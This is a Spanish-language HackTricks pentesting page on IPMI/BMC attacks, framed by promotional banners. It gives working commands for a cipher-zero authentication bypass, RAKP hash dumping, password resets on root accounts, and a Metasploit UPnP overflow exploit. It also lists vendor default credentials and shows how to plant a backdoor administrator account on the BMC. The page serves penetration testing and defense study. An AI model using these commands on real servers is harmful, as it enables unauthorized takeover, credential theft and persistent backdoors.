## 623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Información básica La [Interfaz de Gestión de Plataforma Inteligente](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) es un conjunto de especificaciones estandarizadas para sistemas de gestión de host basados en hardware utilizados para la gestión y monitorización del sistema. Actúa como un subsistema autónomo y funciona de forma independiente de la BIOS, CPU, firmware y sistema operativo subyacente del host. IPMI proporciona a los administradores del sistema la capacidad de gestionar y monitorizar sistemas incluso si están apagados o en un estado no receptivo. Opera utilizando una conexión directa de red al hardware del sistema y no requiere acceso al sistema operativo a través de una shell de inicio de sesión. IPMI también se puede utilizar para actualizaciones remotas de sistemas sin necesidad de acceso físico al host de destino. IPMI se utiliza típicamente de tres maneras: * Antes de que se haya iniciado el sistema operativo para modificar la configuración de la BIOS * Cuando el host está completamente apagado * Acceso a un host después de un fallo del sistema Cuando no se utiliza para estas tareas, IPMI puede monitorizar una serie de cosas diferentes, como la temperatura del sistema, el voltaje, el estado del ventilador y las fuentes de alimentación. También se puede utilizar para consultar información de inventario, revisar registros de hardware y alertar mediante SNMP. El sistema host puede estar apagado, pero el módulo IPMI requiere una fuente de alimentación y una conexión LAN para funcionar correctamente. El protocolo IPMI fue publicado por primera vez por Intel en 1998 y ahora es compatible con más de 200 proveedores de sistemas, incluyendo Cisco, Dell, HP, Supermicro, Intel y más. Los sistemas que utilizan la versión 2.0 de IPMI pueden ser administrados a través de serie sobre LAN, lo que da a los administradores del sistema la capacidad de ver la salida de la consola serie en banda. Para funcionar, IPMI requiere los siguientes componentes: * Controlador de gestión de placa base (BMC) - Un microcontrolador y componente esencial de un IPMI * Bus de gestión de chasis inteligente (ICMB) - Una interfaz que permite la comunicación de un chasis a otro * Bus de gestión de plataforma inteligente (IPMB) - extiende el BMC * Memoria IPMI - almacena cosas como el registro de eventos del sistema, los datos del repositorio de almacenamiento y más * Interfaces de comunicaciones - interfaces de sistema local, interfaces serie y LAN, ICMB y bus de gestión PCI ![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **Puerto predeterminado**: 623/UDP/TCP (normalmente se ejecuta en UDP pero también podría estar en TCP) ## Enumeración ### Descubrimiento ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` Puedes **identificar** la **versión** usando: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### Vulnerabilidad - Bypass de autenticación IPMI a través del cifrado 0 Dan Farmer [identificó una falla grave](http://fish2.com/ipmi/cipherzero.html) en la especificación IPMI 2.0, a saber, que el tipo de cifrado 0, un indicador de que el cliente desea utilizar la autenticación de texto sin formato, en realidad **permite el acceso con cualquier contraseña**. Se identificaron problemas de cifrado 0 en los BMC de HP, Dell y Supermicro, y es probable que el problema abarque todas las implementaciones de IPMI 2.0.\ Tenga en cuenta que para explotar este problema primero debe **encontrar un usuario válido**. Puede **identificar** este problema usando: ``` use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` Y puedes **abusar** de este problema con `ipmitool`: ```bash apt-get install ipmitool #Install #Using -C 0 any password is accepted ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root ``` ### Vulnerabilidad - Recuperación remota de hash de contraseña de autenticación RAKP de IPMI 2.0 Básicamente, **puedes solicitar al servidor la sal y el hash MD5 y SHA1 de cualquier nombre de usuario y si el nombre de usuario existe, se enviarán de vuelta esos hashes.** Sí, tan increíble como suena. Y hay un **módulo de metasploit** para probar esto (puedes seleccionar el formato de salida en John o Hashcat): ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` _Nota que para esto solo necesitas una lista de nombres de usuario para hacer fuerza bruta (metasploit ya contiene una con nombres de usuario predeterminados)._ Usando `ipmitool` para saltar la autenticación (`-c 0`) y cambiar la contraseña de root a abc123: ``` root@kali:~# apt-get install ipmitool root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ``` ### Vulnerabilidad - Autenticación Anónima IPMI Además de los problemas de autenticación mencionados anteriormente, Dan Farmer señaló que **muchos BMC se envían con acceso "anónimo" habilitado por defecto**. Esto se configura estableciendo el nombre de usuario de la primera cuenta de **usuario** en una **cadena nula** y **estableciendo** una **contraseña nula** para que coincida. El módulo _ipmi\_dumphashes_ identificará y volcará las contraseñas hash (incluyendo contraseñas en blanco) para cuentas de usuario nulas. **Esta cuenta puede ser difícil de usar por sí sola, pero podemos aprovechar `ipmitool` para restablecer la contraseña de una cuenta de usuario nombrada** y aprovechar esa cuenta para acceder a otros servicios: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 1 false false true ADMINISTRATOR 2 root false false true ADMINISTRATOR 3 admin true true true ADMINISTRATOR ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword" ``` ### Vulnerabilidad - Contraseñas en texto claro de IPMI de Supermicro La especificación IPMI 2.0 exige que el BMC responda a los métodos de autenticación basados en HMAC como SHA1 y MD5. Este proceso de autenticación tiene algunas debilidades graves, como se demostró en ejemplos anteriores, pero también **requiere acceso a la contraseña en texto claro para calcular el hash de autenticación**. Esto significa que el BMC debe almacenar una **versión en texto claro** de todas las contraseñas de usuario configuradas en algún lugar de **almacenamiento no volátil**. En el caso de **Supermicro**, esta ubicación cambia entre las versiones de firmware, pero es **`/nv/PSBlock`** o **`/nv/PSStore`**. Las contraseñas están dispersas entre varios bloques binarios, pero son fáciles de identificar ya que siempre siguen al nombre de usuario. Este es un problema grave para cualquier organización que use contraseñas compartidas entre BMC o incluso diferentes tipos de dispositivos. ```bash cat /nv/PSBlock admin ADMINpassword^TT rootOtherPassword! ``` ### Vulnerabilidad - Supermicro IPMI UPnP Supermicro incluye un **escucha UPnP SSDP que se ejecuta en el puerto UDP 1900** en el firmware IPMI de muchas de sus placas base recientes. En versiones anteriores a SMT\_X9\_218, este servicio ejecutaba el SDK de Intel para dispositivos UPnP, versión 1.3.1. Esta versión es vulnerable a [los problemas que Rapid7 reveló](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) en febrero de 2013, y un exploit para esta plataforma es parte del Metasploit Framework. Lo interesante de este ataque es que **proporciona acceso root completo al BMC**, algo que de otra manera es difícil de obtener. Tenga en cuenta que un atacante con acceso administrativo, ya sea a través de la red o desde una shell root en el sistema host, puede degradar el firmware de un BMC de Supermicro a una versión vulnerable y luego explotarlo. Una vez que se **obtiene** el acceso **root**, es posible **leer credenciales en texto claro** desde el sistema de archivos, **instalar** software adicional e integrar **puertas traseras** permanentes en el BMC que sobrevivirían a una reinstalación completa del sistema operativo del host. ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Fuerza Bruta Tenga en cuenta que solo HP aleatoriza la contraseña durante el proceso de fabricación. | Nombre del producto | Nombre de usuario predeterminado | Contraseña predeterminada | | ---------------------------------------------------- | --------------------------------| ------------------------------------------------- | | **HP Integrated Lights Out (iLO)** | Administrator | \ | | **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin | | **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (con un cero) | | **Fujitsu Integrated Remote Management Controller** | admin | admin | | **Supermicro IPMI (2.0)** | ADMIN | ADMIN | | **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme | | **ASUS iKVM BMC** | admin | admin | ## Explotando el Host desde el BMC Una vez que se obtiene acceso administrativo al BMC, hay varios métodos disponibles que se pueden utilizar para obtener acceso al sistema operativo del host. El camino más directo es abusar de la funcionalidad KVM del BMC y reiniciar el host a una shell de root (init=/bin/sh en GRUB) o especificar un disco de rescate como una unidad de CD-ROM virtual y arrancar desde allí. Una vez que se obtiene acceso sin procesar al disco del host, es trivial introducir una puerta trasera, copiar datos del disco duro o hacer cualquier cosa que necesite hacerse como parte de la evaluación de seguridad. La gran desventaja, por supuesto, es que el host debe reiniciarse para usar este método. Obtener acceso al host en ejecución es mucho más complicado y depende de lo que esté ejecutando el host. Si la consola física del host se deja iniciada, se vuelve trivial secuestrarla usando la funcionalidad KVM incorporada. Lo mismo se aplica a las consolas serie: si el puerto serie está conectado a una sesión autenticada, el BMC puede permitir que este puerto sea secuestrado usando la interfaz ipmitool para serie-over-LAN (sol). Un camino que aún necesita más investigación es abusar del acceso a hardware compartido, como el bus i2c y el chip Super I/O. ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png) ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png) ![](<../.gitbook/assets/image (202) (2).png>) ## Explotando el BMC desde el Host En situaciones en las que se ha comprometido un host con un BMC, se puede utilizar la **interfaz local del BMC para introducir una cuenta de usuario de puerta trasera**, y desde allí establecer un punto de apoyo permanente en el servidor. Este ataque requiere que **`ipmitool`** esté instalado en el host y que se haya habilitado el soporte del controlador para el BMC. El siguiente ejemplo demuestra cómo se puede utilizar la interfaz local en el host, que no requiere autenticación, para inyectar una nueva cuenta de usuario en el BMC. Este método es universal en Linux, Windows, BSD e incluso en objetivos DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `port:623` ## Referencias * [https://blog.rapid7.com/2013/07/02/guia-de-un-pen-tester-para-ipmi/](https://blog.rapid7.com/2013/07/02/guia-de-un-pen-tester-para-ipmi/) * [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).